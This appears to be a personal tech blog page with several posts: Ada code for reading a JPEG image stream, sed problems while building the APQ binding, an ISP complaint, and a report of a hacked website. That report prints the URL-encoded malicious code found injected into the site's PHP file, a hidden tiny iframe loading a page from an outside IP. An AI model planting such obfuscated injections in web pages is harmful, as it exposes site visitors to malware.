Up to this point, I am able to connect to the video server with AWS and retrieve a stream of JPEG images from the video server. I have been able to manually extract JPEG images from the stream identified by SOI (0xFFD8) and EOI (0xFFD9). But some of the images extracted from the stream are not recognized as JPEG file while some images appeared to be corrupted. I am totally puzzled by this behavior.

Could it be the size of the stream buffer (512 bytes) causing the corruption? Could it be the output of the received stream to a disk file delay the receiving process?

Here’s a snip of my Ada code:


     ...
     Data         : Ada.Streams.Stream_Element_Array (1 .. 512);
     ...
     loop
        AWS.CLient.Read_Some (Connection, Data, Offset);
        exit when Offset < Data'First or Count > 512_000;
        Ada.Streams.Stream_IO.Write (File_Handler, Data);
        Count := Count + Integer (Offset);
     end loop;
     ...

It is quite fun spending entire day hacking the server-push stream and the JPEG images. It has been a long time since my last hacking. Welcome back to the reality!

Peculiar behavior of Sed

What is Sed?

Sed is the ultimate stream editor. If that sounds strange, picture a stream flowing through a pipe. Okay, you can’t see a stream if it’s inside a pipe. That’s what I get for attempting a flowing analogy. You want literature, read James Joyce.

Anyhow, sed is a marvelous utility. Unfortunately, most people never learn its real power. The language is very simple, but the documentation is terrible. The Solaris on-line manual pages for sed are five pages long, and two of those pages describe the 34 different errors you can get. A program that spends as much space documenting the errors than it does documenting the language has a serious learning curve.

You can read more about Sed here.

My project uses a thick binding of PostgreSQL/MySQL called APQ. APQ is a project by Warren and I helped to host it at my server. See my post here. The configure and make process are not really stable which I think is due to various version of MySQL and the Linux tools such as sed.

To build APQ, first, two MySQL include files, errmsg.h and mysqld_error.h need to be parsed. These files contain MySQL error codes and they need to be parsed and translated into Ada syntax. This translated Ada code will be inserted into apq_mysql.ads.

However, this parsing and translation process are not working correctly as they supposed to be. When I look into this problem, I found a peculiar abnormality. The parser uses sed. When I built APQ on Mac OS X, FC5 and Solaris (Intel), the result in apq_mysql.ads is not consistent on these different OS.

After I upgraded to Mac OS X 10.4.9, the parser refused to work with some error messages which I think caused by sed. I was mingling with the configure script until this hour. Suddenly, something struck my mind. Why do I need to mingle with configure? The problem is the parsing and it deserves the highest priority. The build configuration does not perform a thorough check of the environment but it still works fine at this point. So, I moved my priority to write a parser in Ada to solve the parsing problem. This light shed on me at this whee hour in the morning and I was really too tire to continue working on the parser.

Website security compromised

March 30th, 2007 at 17:25 · Filed Under Call Me a Geek, Critiques, Hacking · 3 Comments 

I noticed a drastic reduce of visitors to my website in February and March. I was wondering what was happening. On March 8, I suddenly received a notification email from Google Search Quality team informing that my website was a hazard to visitors and it might contain some malware or badware. I was shocked to know about it and I Googled for my site and found that my sites had been tagged “This site may harm your computer” and visitors could not access to my website following the link from Google search page.

With the help from my hosting provider, I found a piece of malicious obfuscated code in JavaScript had been intentionally embedded into one of the .PhP file. Part of the obfuscated code read like this:


%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E

I removed the malicious code from my .PhP script file and informed Google team. It really took them quite some time to remove my website from their list. A moment ago, I found out that my site has been de-listed from Google’s list of malicious websites.

Ironically, today I received an announcement from my web hosting provider that they implement HackerSafe Certification on all websites hosted with them. Here’s a snapshot of their newsletter:

I am all tied up to carefully inspect and decipher the code. Any taker?

Damned Streamyx

December 31st, 2006 at 23:59 · Filed Under Call Me a Geek, Computing, Critiques, General · Comment 

Streamyx, the broadband service was damned slow to a halt due to the east bound fiber optic cables were affected by the recent earthquake off Taiwan. The Internet traffic was rerouted to west bound via Netherlands and UK. It was also partly due to the festive seasons when people are contacting families and friends via the Internet.

I was not happy with such a slow download and upload time. In this Information Age where Internet connection is prevalent, the service provider could have setup a redundant cable systems for the time like this. Apparently, they do not have a redundant system. Even their tech support does not know what is redundant system when I called them about connection problems some months ago. Sadly, these tech support employed by the service provider are local university graduates in ICT (Information and Computer Technology). How can they not know what the hell is redundant system? We can see how bad the local university standards are.

Next Page »